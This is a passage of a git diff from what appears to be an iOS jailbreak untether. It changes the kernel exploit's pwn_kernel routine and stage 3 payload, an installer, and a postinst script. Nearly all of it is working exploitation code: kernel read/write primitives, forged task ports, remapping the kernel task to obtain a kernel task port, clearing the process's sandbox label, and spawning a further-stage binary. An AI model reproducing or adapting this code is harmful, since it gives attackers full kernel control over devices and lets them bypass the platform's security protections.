PWN_LOG("got kernel vm map: %llx", kernel_vm_map); uint64_t ipc_space_kernel = kread64(ip_kobject_client_port_addr + offsetof(kport_t, ip_receiver));; if (ipc_space_kernel == 0x0) { - LOG("failed to read ipc_space_kernel!"); + PWN_LOG("failed to read ipc_space_kernel!"); ret = KERN_FAILURE; goto out; } - LOG("ipc_space_kernel: %llx", ipc_space_kernel); + PWN_LOG("ipc_space_kernel: %llx", ipc_space_kernel); uint64_t ptrs[2] = { 0 }; ptrs[0] = zonemap_fix_addr(kcall(offsets.funcs.ipc_port_alloc_special, 1, ipc_space_kernel)); ptrs[1] = zonemap_fix_addr(kcall(offsets.funcs.ipc_port_alloc_special, 1, ipc_space_kernel)); - LOG("zm_port addr: %llx", ptrs[0]); - LOG("km_port addr: %llx", ptrs[1]); + PWN_LOG("zm_port addr: %llx", ptrs[0]); + PWN_LOG("km_port addr: %llx", ptrs[1]); size_t ktask_size = offsets.struct_offsets.sizeof_task; @@ -894,20 +909,20 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) uint64_t zm_task_buf_addr = send_buffer_to_kernel_and_find(offsets, kread64, our_task_addr, zm_task_buf_msg, ktask_size); if (zm_task_buf_addr == 0x0) { - LOG("failed to get zm_task_buf_addr!"); + PWN_LOG("failed to get zm_task_buf_addr!"); goto out; } - LOG("zm_task_buf_addr: %llx", zm_task_buf_addr); + PWN_LOG("zm_task_buf_addr: %llx", zm_task_buf_addr); uint64_t km_task_buf_addr = send_buffer_to_kernel_and_find(offsets, kread64, our_task_addr, km_task_buf_msg, ktask_size); if (km_task_buf_addr == 0x0) { - LOG("failed to get km_task_buf_addr!"); + PWN_LOG("failed to get km_task_buf_addr!"); goto out; } - LOG("km_task_buf_addr: %llx", km_task_buf_addr); + PWN_LOG("km_task_buf_addr: %llx", km_task_buf_addr); kcall(offsets.funcs.ipc_kobject_set, 3, ptrs[0], (uint64_t)zm_task_buf, IKOT_TASK); kcall(offsets.funcs.ipc_kobject_set, 3, ptrs[1], (uint64_t)km_task_buf, IKOT_TASK); @@ -920,18 +935,18 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) ret = mach_ports_lookup(mach_task_self(), &maps, &maps_num); if (ret != KERN_SUCCESS) { - LOG("failed to lookup mach ports: %x (%s)", ret, mach_error_string(ret)); + PWN_LOG("failed to lookup mach ports: %x (%s)", ret, mach_error_string(ret)); ret = KERN_FAILURE; goto out; } - LOG("zone_map port: %x", maps[0]); - LOG("kernel_map port: %x", maps[1]); + PWN_LOG("zone_map port: %x", maps[0]); + PWN_LOG("kernel_map port: %x", maps[1]); if (!MACH_PORT_VALID(maps[0]) || !MACH_PORT_VALID(maps[1])) { - LOG("invalid zone/kernel map ports"); + PWN_LOG("invalid zone/kernel map ports"); ret = KERN_FAILURE; goto out; } @@ -941,19 +956,20 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) kwrite64(curr_task + offsets.struct_offsets.itk_registered + 0x0, 0x0); kwrite64(curr_task + offsets.struct_offsets.itk_registered + 0x8, 0x0); - LOG("kern_task_addr: %llx", kern_task_addr); + PWN_LOG("kern_task_addr: %llx", kern_task_addr); mach_vm_address_t remap_addr = 0x0; vm_prot_t cur = 0x0, max = 0x0; ret = mach_vm_remap(maps[1], &remap_addr, offsets.struct_offsets.sizeof_task, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, maps[0], kern_task_addr, false, &cur, &max, VM_INHERIT_NONE); if (ret != KERN_SUCCESS) { - LOG("mach_vm_remap failed: %x (%s)", ret, mach_error_string(ret)); + PWN_LOG("mach_vm_remap failed: %x (%s)", ret, mach_error_string(ret)); ret = KERN_FAILURE; goto out; } - LOG("[+] remap addr: %llx", remap_addr); + updateStage(12); + PWN_LOG("[+] remap addr: %llx", remap_addr); // usleep(500000); @@ -968,13 +984,13 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) ret = kcall(offsets.funcs.vm_map_wire_external, 5, kernel_vm_map, remap_start, remap_end, VM_PROT_READ | VM_PROT_WRITE, false); if (ret != KERN_SUCCESS) { - LOG("failed to kcall vm_map_wire_external: %x (%s)", ret, mach_error_string(ret)); + PWN_LOG("failed to kcall vm_map_wire_external: %x (%s)", ret, mach_error_string(ret)); ret = KERN_FAILURE; goto out; } uint64_t new_port = zonemap_fix_addr(kcall(offsets.funcs.ipc_port_alloc_special, 1, ipc_space_kernel)); - LOG("new_port: %llx", new_port); + PWN_LOG("new_port: %llx", new_port); // usleep(500000); @@ -982,11 +998,11 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) kcall(offsets.funcs.ipc_port_make_send, 1, new_port); uint64_t realhost = offsets.data.realhost + kslide; - LOG("[!] realhost: %llx", realhost); + PWN_LOG("[!] realhost: %llx", realhost); // realhost->special[4] kwrite64(realhost + 0x10 + (sizeof(uint64_t) * 4), new_port); - LOG("registered realhost->special[4]"); + PWN_LOG("registered realhost->special[4]"); // zero out old ports before overwriting for (int i = 0; i < 3; i++) @@ -995,7 +1011,9 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) } kwrite64(curr_task + offsets.struct_offsets.itk_registered, new_port); - LOG("wrote new port: %llx", new_port); + + updateStage(13); + PWN_LOG("wrote new port: %llx", new_port); ret = mach_ports_lookup(mach_task_self(), &maps, &maps_num); @@ -1003,7 +1021,7 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) if (ret != KERN_SUCCESS) { - LOG("failed to lookup mach ports: %x (%s)", ret, mach_error_string(ret)); + PWN_LOG("failed to lookup mach ports: %x (%s)", ret, mach_error_string(ret)); ret = KERN_FAILURE; goto out; } @@ -1011,11 +1029,11 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) mach_port_t kernel_task = maps[0]; if (!MACH_PORT_VALID(kernel_task)) { - LOG("kernel_task is invalid"); + PWN_LOG("kernel_task is invalid"); ret = KERN_FAILURE; goto out; } - LOG("got kernel task port: %x", kernel_task); + PWN_LOG("got kernel task port: %x", kernel_task); // should be ready? pullup ! @@ -1027,15 +1045,16 @@ kern_return_t pwn_kernel(offsets_t offsets, task_t *tfp0, kptr_t *kbase) ret = mach_vm_read(kernel_task, kernel_base, sizeof(uint64_t), &data_out, &out_size); if (ret != KERN_SUCCESS) { - LOG("failed read on kern base via tfp0: %x (%s)", ret, mach_error_string(ret)); + PWN_LOG("failed read on kern base via tfp0: %x (%s)", ret, mach_error_string(ret)); ret = KERN_FAILURE; goto out; } - - LOG("---> task for pid 0 achieved!"); - LOG("[!] kernel base data: %llx", *(uint64_t *)data_out); - LOG("---> exploitation complete."); + updateStage(14); + PWN_LOG("---> task for pid 0 achieved!"); + PWN_LOG("[!] kernel base data: %llx", *(uint64_t *)data_out); + + PWN_LOG("---> exploitation complete."); *tfp0 = kernel_task; *kbase = kernel_base; diff --git a/src/untether/install.m b/src/untether/install.m index 6883cd3..2d8463a 100644 --- a/src/untether/install.m +++ b/src/untether/install.m @@ -136,7 +136,7 @@ int install(const char *config_path, const char *racoon_path, const char *dyld_c myoffsets.stage2_databuffer_len = 0x10000; // Moved from stage2.m myoffsets.stage2_barrier_buffer_size = 0x10000; // Moved from stage2.m myoffsets.stage3_fileoffset = 0; // at which place in the file (dylib) stage 3 (the code section) starts - myoffsets.stage3_size = 0x10000; // get the file size and round at page boundary + myoffsets.stage3_size = 0x10000; // get the file size and round at page boundary (should be between 0x14000 and 0x18000 bytes) myoffsets.stage3_loadaddr = myoffsets.new_cache_addr-0x100000; // place stage 3 in front of the remaped cache // This has to update any time stage 3 is recompiled diff --git a/src/untether/main.m b/src/untether/main.m index b39bfa5..243bb15 100644 --- a/src/untether/main.m +++ b/src/untether/main.m @@ -28,6 +28,9 @@ // - execve trampoline } +// Do nothing when we move to the next stage +void sendLog(void* controller, NSString* log) {} + int main(int argc, const char **argv) { #ifdef __x86_64__ @@ -56,7 +59,7 @@ int main(int argc, const char **argv) } else if(strcmp(argv[1], "pwn") == 0) { - return jailbreak(JBOPT_POST_ONLY); + return jailbreak(JBOPT_POST_ONLY, NULL, &sendLog); } LOG("Come again?"); return -1; diff --git a/src/untether/postinst b/src/untether/postinst new file mode 100755 index 0000000..bc62720 --- /dev/null +++ b/src/untether/postinst @@ -0,0 +1 @@ +/private/etc/racoon/install_stage1_2 diff --git a/src/untether/stage3.m b/src/untether/stage3.m index 0d3c08b..c675d31 100644 --- a/src/untether/stage3.m +++ b/src/untether/stage3.m @@ -2,6 +2,7 @@ #include #include #include +#include // compile with xcrun -sdk iphoneos clang -arch arm64 -shared -fno-stack-protector -fno-stack-check stage3.m -o stage3 // adhoc sign using jtool: ~/Work/stash/jtool_old_build/jtool --sign adhoc stage3 and then ~/Work/stash/jtool_old_build/jtool --sig out.bin to get the hash @@ -187,8 +188,34 @@ char padding[4]; } mach_msg_data_buffer_t; -//#define LOG(str, args...) do { } while(0) -#define LOG(str, args...) do {offsets->userland_funcs.write(2,str,1024);offsets->userland_funcs.write(1,"\n\n\n\n",4);} while(0) +void write(int fd, char* cbuf, int nbyte) { + //an an input it's a file descriptor set to STD_ERR 2 + //as an output this will be used for returning syscall return value; + register int x0 __asm__("x0") = fd; + //as an input string to write + //as an output this will be used for returning syscall return value higher half (in this particular case 0) + register char *x1 __asm__("x1") = cbuf; + //string length + register int x2 __asm__("x2") = nbyte; + //syscall write is 4 + register int x16 __asm__("x16") = SYS_write; // user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); + + //full variant using stack local variables for register x0,x1,x2,x16 input + //syscall result collected in x0 & x1 using "semi" intrinsic assembler + __asm__ volatile(//all args prepared, make the syscall + "svc #0x80" + :"=r"(x0),"=r"(x1) //mark x0 & x1 as syscall outputs + :"r"(x0), "r"(x1), "r"(x2), "r"(x16): //mark the inputs + //inform the compiler we read the memory + "memory", + //inform the compiler we clobber carry flag (during the syscall itself) + "cc"); +} + +#define STD_OUT 1 +#define STD_ERR 2 +#define LOG(str) do { char* buf = str "\n"; size_t i = 0; while (buf[i++] != '\n'); write(STD_ERR, buf, i); } while(0) + #define KERN_INVALID_ARGUMENT 2 #define KERN_FAILURE 1 #define KERN_SUCCESS 0 @@ -225,6 +252,8 @@ #define spelunk(addr) ((zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff)) #define zonemap_fix_addr(addr) (spelunk(addr) < zm_hdr.start ? spelunk(addr) + 0x100000000 : spelunk(addr)) +char * mach_error_string(kern_return_t err); + uint64_t kcall_raw(offsets_t * offsets,void * fake_client, uint64_t kslide,mach_port_name_t the_one,uint64_t addr, int n_args, ...) { if (n_args > 7) @@ -305,18 +334,16 @@ void kwrite64_raw(offsets_t * offsets, void * fake_client, uint64_t kslide,mach_ void where_it_all_starts(kport_t * fakeport,void * fake_client,uint64_t ip_kobject_client_port_addr,uint64_t our_task_addr,uint64_t kslide,uint64_t the_one,offsets_t * offsets) { mach_port_array_t maps = NULL; mach_msg_type_number_t maps_num = 0; - kern_return_t ret; - uint64_t zone_map_addr = kread64(offsets->data.zone_map + kslide); - - if (zone_map_addr == 0x0) - { - LOG("failed to get zone map addr"); - ret = KERN_FAILURE; - goto out; - } - - LOG("[+] got zone map addr: %llx", zone_map_addr); - + kern_return_t ret = KERN_SUCCESS; + + char formatbuf[255]; + size_t len, i; + unsigned char j = 0; + uint64_t hex64; + char *logstr, *fail, var = 0; + + uint64_t zone_map_addr, zm_size, kern_task_addr, kern_proc, curr_task, kernel_vm_map, ipc_space_kernel, zm_task_buf_addr, km_task_buf_addr, remap_start, remap_end, new_port, realhost, our_proc, our_ucred, our_label, pid; + typedef volatile struct { kptr_t prev; @@ -326,95 +353,100 @@ void where_it_all_starts(kport_t * fakeport,void * fake_client,uint64_t ip_kobje } kmap_hdr_t; kmap_hdr_t zm_hdr; - for (int i = 0; i < sizeof(zm_hdr);i++) { + + uint64_t ptrs[2]; + + size_t ktask_size; + volatile char scratch_space[4096]; + + mach_msg_data_buffer_t *zm_task_buf_msg, *km_task_buf_msg; + ktask_t *zm_task_buf, *km_task_buf; + + mach_vm_address_t remap_addr = 0x0; + vm_prot_t cur = 0x0, max = 0x0; + + mach_port_t kernel_task; + +#define LOG_HEX32(str, hex) do { logstr = str; hex64 = hex; goto log2_format_hex32; } while(0) +#define LOG_HEX64(str, hex) do { logstr = str; hex64 = hex; goto log2_format_hex64; } while(0) +#define VERIFY_HEX64(reject, pass, hex) do { fail = reject "\n"; logstr = pass; hex64 = hex; goto verify; } while(0) +#define VERIFY_MACH(str) do { logstr = str; goto mach_error_verify; } while(0) + + init_var: + switch (var) { + case 0: + zone_map_addr = kread64(offsets->data.zone_map + kslide); + VERIFY_HEX64("failed to get zone map addr", "[+] got zone map addr: ", zone_map_addr); + + case 1: + for (int i = 0; i < sizeof(zm_hdr);i++) { *((char*)(((uint64_t)&zm_hdr) + i)) = 0x0; } // lck_rw_t = uintptr_t opaque[2] = unsigned long opaque[2] kreadbuf(zone_map_addr + (sizeof(unsigned long) * 2), (void *)&zm_hdr, sizeof(zm_hdr)); - - LOG("zmap start: %llx", zm_hdr.start); - LOG("zmap end: %llx", zm_hdr.end); - - uint64_t zm_size = zm_hdr.end - zm_hdr.start; - LOG("zmap size: %llx", zm_size); - + zm_size = zm_hdr.end - zm_hdr.start; + LOG_HEX64("zmap start: ", zm_hdr.start); + + case 2: + LOG_HEX64("zmap end: ", zm_hdr.end); + + case 3: + LOG_HEX64("zmap size: ", zm_size); + + case 4: if (zm_size > 0x100000000) { LOG("zonemap too large :/"); ret = KERN_FAILURE; goto out; } - uint64_t kern_task_addr = kread64(offsets->data.kernel_task + kslide); - if (kern_task_addr == 0x0) - { - LOG("failed to read kern_task_addr!"); - ret = KERN_FAILURE; - goto out; - } - LOG("[+] kern_task_addr: %llx", kern_task_addr); - - uint64_t kern_proc = zonemap_fix_addr(kcall(offsets->funcs.get_bsdtask_info, 1, kern_task_addr)); - if (kern_proc == 0x0) - { - LOG("failed to read kern_proc!"); - ret = KERN_FAILURE; - goto out; - } - LOG("[+] got kernproc: %llx", kern_proc);; - - uint64_t curr_task = zonemap_fix_addr(kcall(offsets->funcs.current_task, 0)); - if (curr_task == 0x0) - { - LOG("failed to get curr_task!"); - ret = KERN_FAILURE; - goto out; - } - LOG("[+] curr task: %llx", curr_task); - - // get kernel map - uint64_t kernel_vm_map = kread64(kern_task_addr + 0x20); - if (kernel_vm_map == 0x0) - { - LOG("failed to read kernel_vm_map!"); - ret = KERN_FAILURE; - goto out; - } - LOG("got kernel vm map: %llx", kernel_vm_map); - - uint64_t ipc_space_kernel = kread64(ip_kobject_client_port_addr + offsetof(kport_t, ip_receiver));; - if (ipc_space_kernel == 0x0) - { - LOG("failed to read ipc_space_kernel!"); - ret = KERN_FAILURE; - goto out; - } - LOG("ipc_space_kernel: %llx", ipc_space_kernel); - - uint64_t ptrs[2]; - ptrs[0] = 0; + + kern_task_addr = kread64(offsets->data.kernel_task + kslide); + VERIFY_HEX64("failed to read kern_task_addr!", "[+] kern_task_addr: ", kern_task_addr); + + case 5: + kern_proc = zonemap_fix_addr(kcall(offsets->funcs.get_bsdtask_info, 1, kern_task_addr)); + VERIFY_HEX64("failed to read kern_proc!", "[+] got kernproc: ", kern_proc); + + case 6: + curr_task = zonemap_fix_addr(kcall(offsets->funcs.current_task, 0)); + VERIFY_HEX64("failed to get curr_task!", "[+] curr task: ", curr_task); + + case 7: + kernel_vm_map = kread64(kern_task_addr + 0x20); + VERIFY_HEX64("failed to read kernel_vm_map!", "got kernel vm map: ", kernel_vm_map); + + case 8: + ipc_space_kernel = kread64(ip_kobject_client_port_addr + offsetof(kport_t, ip_receiver)); + VERIFY_HEX64("failed to read ipc_space_kernel!", "ipc_space_kernel: ", ipc_space_kernel); + + case 9: + ptrs[0] = 0; ptrs[1] = 0; ptrs[0] = zonemap_fix_addr(kcall(offsets->funcs.ipc_port_alloc_special, 1, ipc_space_kernel)); ptrs[1] = zonemap_fix_addr(kcall(offsets->funcs.ipc_port_alloc_special, 1, ipc_space_kernel)); - LOG("zm_port addr: %llx", ptrs[0]); - LOG("km_port addr: %llx", ptrs[1]); - - size_t ktask_size = offsets->struct_offsets.sizeof_task; - - volatile char scratch_space[4096]; + LOG_HEX64("zm_port addr: ", ptrs[0]); + + case 10: + formatbuf[0] = 'k'; + hex64 = ptrs[1]; + len -= 19; + goto log2_hex64_jump; + + case 11: + ktask_size = offsets->struct_offsets.sizeof_task; if (ktask_size > 2048) { - LOG("Buffer to small"); + LOG("Buffer too small"); ret = KERN_FAILURE; goto out; } - mach_msg_data_buffer_t * zm_task_buf_msg = (mach_msg_data_buffer_t *)&scratch_space[0]; + zm_task_buf_msg = (mach_msg_data_buffer_t *)&scratch_space[0]; for (int i = 0; i < 4096; i++) { scratch_space[i] = 0x0; } - zm_task_buf_msg->verification_key = 0x4242424243434343; - - ktask_t *zm_task_buf = (ktask_t *)(&zm_task_buf_msg->data[0]); + zm_task_buf = (ktask_t *)(&zm_task_buf_msg->data[0]); zm_task_buf->a.lock.data = 0x0; zm_task_buf->a.lock.type = 0x22; @@ -423,53 +455,40 @@ void where_it_all_starts(kport_t * fakeport,void * fake_client,uint64_t ip_kobje *(kptr_t *)((uint64_t)zm_task_buf + offsets->struct_offsets.task_itk_self) = 1; zm_task_buf->a.map = zone_map_addr; - mach_msg_data_buffer_t * km_task_buf_msg = (mach_msg_data_buffer_t *)(((uint64_t)&scratch_space[0]) + 2048); + km_task_buf_msg = (mach_msg_data_buffer_t *)(((uint64_t)&scratch_space[0]) + 2048); // duplicate the message for (int i = 0; i < ktask_size; i++) { scratch_space[i+2048] = scratch_space[i]; } km_task_buf_msg->verification_key = 0x4343434344444444; - ktask_t *km_task_buf = (ktask_t *)(&km_task_buf_msg->data[0]); + km_task_buf = (ktask_t *)(&km_task_buf_msg->data[0]); km_task_buf->a.map = kernel_vm_map; - - // send both messages into kernel and grab the buffer addresses - uint64_t zm_task_buf_addr = send_buffer_to_kernel_stage3_implementation(offsets, fake_client,kslide,the_one, our_task_addr, zm_task_buf_msg, ktask_size); - if (zm_task_buf_addr == 0x0) - { - LOG("failed to get zm_task_buf_addr!"); - goto out; - } - - LOG("zm_task_buf_addr: %llx", zm_task_buf_addr); - - uint64_t km_task_buf_addr = send_buffer_to_kernel_stage3_implementation(offsets, fake_client,kslide,the_one, our_task_addr, km_task_buf_msg, ktask_size); - if (km_task_buf_addr == 0x0) - { - LOG("failed to get km_task_buf_addr!"); - goto out; - } - - LOG("km_task_buf_addr: %llx", km_task_buf_addr); - + + zm_task_buf_addr = send_buffer_to_kernel_stage3_implementation(offsets, fake_client,kslide,the_one, our_task_addr, zm_task_buf_msg, ktask_size); + VERIFY_HEX64("failed to get zm_task_buf_addr!", "zm_task_buf_addr: ", zm_task_buf_addr); + + case 12: + km_task_buf_addr = send_buffer_to_kernel_stage3_implementation(offsets, fake_client,kslide,the_one, our_task_addr, km_task_buf_msg, ktask_size); + VERIFY_HEX64("failed to get km_task_buf_addr!", "km_task_buf_addr: ", km_task_buf_addr); + + case 13: kcall(offsets->funcs.ipc_kobject_set, 3, ptrs[0], (uint64_t)zm_task_buf, IKOT_TASK); kcall(offsets->funcs.ipc_kobject_set, 3, ptrs[1], (uint64_t)km_task_buf, IKOT_TASK); kwrite64(curr_task + offsets->struct_offsets.itk_registered + 0x0, ptrs[0]); kwrite64(curr_task + offsets->struct_offsets.itk_registered + 0x8, ptrs[1]); - ret = offsets->userland_funcs.mach_ports_lookup(offsets->userland_funcs.mach_task_self(), &maps, &maps_num); - if (ret != KERN_SUCCESS) - { - LOG("failed to lookup mach ports: %x (%s)", ret, mach_error_string(ret)); - ret = KERN_FAILURE; - goto out; - } - - LOG("zone_map port: %x", maps[0]); - LOG("kernel_map port: %x", maps[1]); - + VERIFY_MACH("failed to lookup mach ports: "); + + case 14: + LOG_HEX32("zone_map port: ", maps[0]); + + case 15: + LOG_HEX32("kernel_map port: ", maps[1]); + + case 16: if (!MACH_PORT_VALID(maps[0]) || !MACH_PORT_VALID(maps[1])) { @@ -482,53 +501,45 @@ void where_it_all_starts(kport_t * fakeport,void * fake_client,uint64_t ip_kobje kwrite64(curr_task + offsets->struct_offsets.itk_registered + 0x0, 0x0); kwrite64(curr_task + offsets->struct_offsets.itk_registered + 0x8, 0x0); - - LOG("kern_task_addr: %llx", kern_task_addr); - - // setup kernel base and slide for post + + LOG_HEX64("kern_task_addr: ", kern_task_addr); + + case 17: + // setup kernel base and slide for post kwrite64(kern_task_addr + offsets->struct_offsets.task_all_image_info_addr,offsets->constant.kernel_image_base + kslide); kwrite64(kern_task_addr + offsets->struct_offsets.task_all_image_info_size,kslide); - mach_vm_address_t remap_addr = 0x0; - vm_prot_t cur = 0x0, max = 0x0; - ret = offsets->userland_funcs.mach_vm_remap(maps[1], &remap_addr, offsets->struct_offsets.sizeof_task, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, maps[0], kern_task_addr, false, &cur, &max, VM_INHERIT_NONE); - if (ret != KERN_SUCCESS) - { - LOG("mach_vm_remap failed: %x (%s)", ret, mach_error_string(ret)); - ret = KERN_FAILURE; - goto out; - } - - LOG("[+] remap addr: %llx", remap_addr); - - + ret = offsets->userland_funcs.mach_vm_remap(maps[1], &remap_addr, offsets->struct_offsets.sizeof_task, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, maps[0], kern_task_addr, false, &cur, &max, VM_INHERIT_NONE); + VERIFY_MACH("mach_vm_remap failed: "); + + case 18: + LOG_HEX64("[+] remap addr: ", remap_addr); + + case 19: offsets->userland_funcs.mach_port_destroy(offsets->userland_funcs.mach_task_self(), maps[0]); offsets->userland_funcs.mach_port_destroy(offsets->userland_funcs.mach_task_self(), maps[1]); // remap must cover the entire struct and be page aligned - uint64_t remap_start = remap_addr & ~(pgsize - 1); - uint64_t remap_end = (remap_addr + offsets->struct_offsets.sizeof_task + pgsize) & ~(pgsize - 1); - + remap_start = remap_addr & ~(pgsize - 1); + remap_end = (remap_addr + offsets->struct_offsets.sizeof_task + pgsize) & ~(pgsize - 1); + // kern_return_t vm_map_wire_external(vm_map_t map, vm_map_offset_t start, vm_map_offset_t end, vm_prot_t caller_prot, boolean_t user_wire) ret = kcall(offsets->funcs.vm_map_wire_external, 5, kernel_vm_map, remap_start, remap_end, VM_PROT_READ | VM_PROT_WRITE, false); - if (ret != KERN_SUCCESS) - { - LOG("failed to kcall vm_map_wire_external: %x (%s)", ret, mach_error_string(ret)); - ret = KERN_FAILURE; - goto out; - } - - uint64_t new_port = zonemap_fix_addr(kcall(offsets->funcs.ipc_port_alloc_special, 1, ipc_space_kernel)); - LOG("new_port: %llx", new_port); - - + VERIFY_MACH("failed to kcall vm_map_wire_external: "); + + case 20: + new_port = zonemap_fix_addr(kcall(offsets->funcs.ipc_port_alloc_special, 1, ipc_space_kernel)); + LOG_HEX64("new_port: ", new_port); + + case 21: kcall(offsets->funcs.ipc_kobject_set, 3, new_port, remap_addr, IKOT_TASK); kcall(offsets->funcs.ipc_port_make_send, 1, new_port); - uint64_t realhost = offsets->data.realhost + kslide; - LOG("[!] realhost: %llx", realhost); - -// realhost->special[4] + realhost = offsets->data.realhost + kslide; + LOG_HEX64("[!] realhost: ", realhost); + + case 22: + // realhost->special[4] kwrite64(realhost + 0x10 + (sizeof(uint64_t) * 4), new_port); LOG("registered realhost->special[4]"); @@ -539,42 +550,127 @@ void where_it_all_starts(kport_t * fakeport,void * fake_client,uint64_t ip_kobje } kwrite64(curr_task + offsets->struct_offsets.itk_registered, new_port); - LOG("wrote new port: %llx", new_port); - + LOG_HEX64("wrote new port: ", new_port); + + case 23: ret = offsets->userland_funcs.mach_ports_lookup(offsets->userland_funcs.mach_task_self(), &maps, &maps_num); - -// kwrite64(curr_task + ITK_REGISTERED_OFFSET, 0x0); - - if (ret != KERN_SUCCESS) - { - LOG("failed to lookup mach ports: %x (%s)", ret, mach_error_string(ret)); - ret = KERN_FAILURE; - goto out; - } - - mach_port_t kernel_task = maps[0]; + VERIFY_MACH("failed to lookup mach ports: "); + + case 24: + kernel_task = maps[0]; if (!MACH_PORT_VALID(kernel_task)) { LOG("kernel_task is invalid"); ret = KERN_FAILURE; goto out; } - LOG("got kernel task port: %x", kernel_task); - - // we have the task address in our_task_addr + LOG_HEX32("got kernel task port: ", kernel_task); + + case 25: + // we have the task address in our_task_addr // now we need to read back bsd_info and then go from there to ucread and zero cr_label->p_perpolicy[1] - uint64_t our_proc = zonemap_fix_addr(kcall(offsets->funcs.get_bsdtask_info, 1, our_task_addr)); - uint64_t our_ucred = kread64(our_proc + 0x100); - uint64_t our_label = kread64(our_ucred + 0x78); + our_proc = zonemap_fix_addr(kcall(offsets->funcs.get_bsdtask_info, 1, our_task_addr)); + our_ucred = kread64(our_proc + 0x100); + our_label = kread64(our_ucred + 0x78); kwrite64(our_label + 0x10,0x0); // spawn the other bin - uint64_t pid; offsets->userland_funcs.posix_spawn(&pid,"/mystuff/stage4",NULL,NULL,NULL,NULL); LOG("finally spawned stage 4 what a ride"); - -out: + // fallthrough, we want to exit now + + case 26: + goto out; + + default: + ret = KERN_FAILURE; + hex64 = var; + var = 25; // success case so it's incremented to out + logstr = "Entered impossible state: "; + goto log2_format_hex32; + } + +#undef LOG_HEX32 +#undef LOG_HEX64 +#undef VERIFY_HEX64 +#undef VERIFY_MACH + + verify: + if (hex64 == 0x0) { + ret = KERN_FAILURE; + write(STD_ERR, fail, len); + goto out; + } + + log2_format_hex64: + len = -1; + while (logstr[++len] != '\0') formatbuf[len] = logstr[len]; + formatbuf[len + 0] = '0'; + formatbuf[len + 1] = 'x'; + formatbuf[len + 18] = '\n'; + formatbuf[len + 19] = '\0'; + + log2_hex64_jump: + for (i = 2; i < 18; ++i) { + j = ((hex64 >> (4 * (17 - i))) & 0xf); + formatbuf[len + i] = j + '0'; + if (j > 9) formatbuf[len + i] += ('a' - '9' - 1); + } + len += 19; + goto log_internal; + + log2_format_hex32: + len = -1; + while (logstr[++len] != '\0') formatbuf[len] = logstr[len]; + formatbuf[len + 0] = '0'; + formatbuf[len + 1] = 'x'; + formatbuf[len + 10] = '\n'; + formatbuf[len + 11] = '\0'; + for (i = 2; i < 10; ++i) { + j = ((hex64 >> (4 * (9 - i))) & 0xf); + formatbuf[len + i] = j + '0'; + if (j > 9) formatbuf[len + i] += ('a' - '9' - 1); + } + len += 11; + goto log_internal; + + mach_error_verify: + if (ret == KERN_SUCCESS) { + ++var; + goto init_var; + } + + len = -1; + while (logstr[++len] != '\0') formatbuf[len] = logstr[len]; + formatbuf[len + 0] = '0'; + formatbuf[len + 1] = 'x'; + formatbuf[len + 10] = ' '; + formatbuf[len + 11] = '('; + for (i = 2; i < 10; ++i) { + j = ((ret >> (4 * (9 - i))) & 0xf); + formatbuf[len + i] = j + '0'; + if (j > 9) formatbuf[len + i] += ('a' - '9' - 1); + } + len += 11; + i = -1; + logstr = mach_error_string((kern_return_t)ret); + while (logstr[len + (++i)] != '\0') formatbuf[len + i] = logstr[i]; + len += (i + 2); + formatbuf[len - 2] = ')'; + formatbuf[len - 1] = '\n'; + formatbuf[len] = '\0'; + ret = KERN_FAILURE; + + log_internal: + write(STD_ERR, formatbuf, len); + + if (ret == KERN_SUCCESS) { + ++var; + goto init_var; + } + + out: fakeport->ip_bits = 0x0; fakeport->ip_kobject = 0x0; offsets->userland_funcs.mach_port_deallocate(offsets->userland_funcs.mach_task_self(), the_one); @@ -593,100 +689,185 @@ void where_it_all_starts(kport_t * fakeport,void * fake_client,uint64_t ip_kobje // kinda messy function signature uint64_t send_buffer_to_kernel_stage3_implementation(offsets_t * offsets,void * fake_client,uint64_t kslide, mach_port_t the_one, uint64_t our_task_addr, mach_msg_data_buffer_t *buffer_msg, size_t msg_size) { - kern_return_t ret; + char formatbuf[255]; + char hex64buf[19]; + kern_return_t ret = KERN_SUCCESS; buffer_msg->head.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); buffer_msg->head.msgh_local_port = MACH_PORT_NULL; buffer_msg->head.msgh_size = msg_size; mach_port_t port; + + uint64_t itk_registered, messages, header, key_address, kernel_key; + uint16_t msg_count; + + uint64_t hex64; + size_t len, i; + unsigned char j = 0; + char *logstr, var = 0; + bool errbit = false; + +#define ERR_32(str, hex) do { errbit = true; logstr = str; hex64 = hex; goto log_hex32; } while(0) +#define ERR_64(str, hex) do { errbit = true; logstr = str; hex64 = hex; goto log_hex32; } while(0) +#define HEX_32(str, hex) do { logstr = str; hex64 = hex; goto log_hex32; } while(0) +#define HEX_64(str, hex) do { logstr = str; hex64 = hex; goto log_hex32; } while(0) +#define VERIFY_MACH(str) do { logstr = str; goto log_err_mach; } while(0) + + var_loop: + switch (var) { + case 0: ret = offsets->userland_funcs.mach_port_allocate(offsets->userland_funcs.mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); if (ret != KERN_SUCCESS) - { - LOG("failed to allocate mach port: %x", ret); - goto err; - } - - LOG("got port: %x", port); + ERR_32("failed to allocate mach port: ", ret); + HEX_32("got port: ", port); + + case 1: ret = offsets->userland_funcs.mach_port_insert_right(offsets->userland_funcs.mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); if (ret != KERN_SUCCESS) - { - LOG("failed ot insert send right: %x", ret); - goto err; - } + ERR_32("failed to insert send right: ", ret); ret = offsets->userland_funcs.mach_ports_register(offsets->userland_funcs.mach_task_self(), &port, 1); if (ret != KERN_SUCCESS) - { - 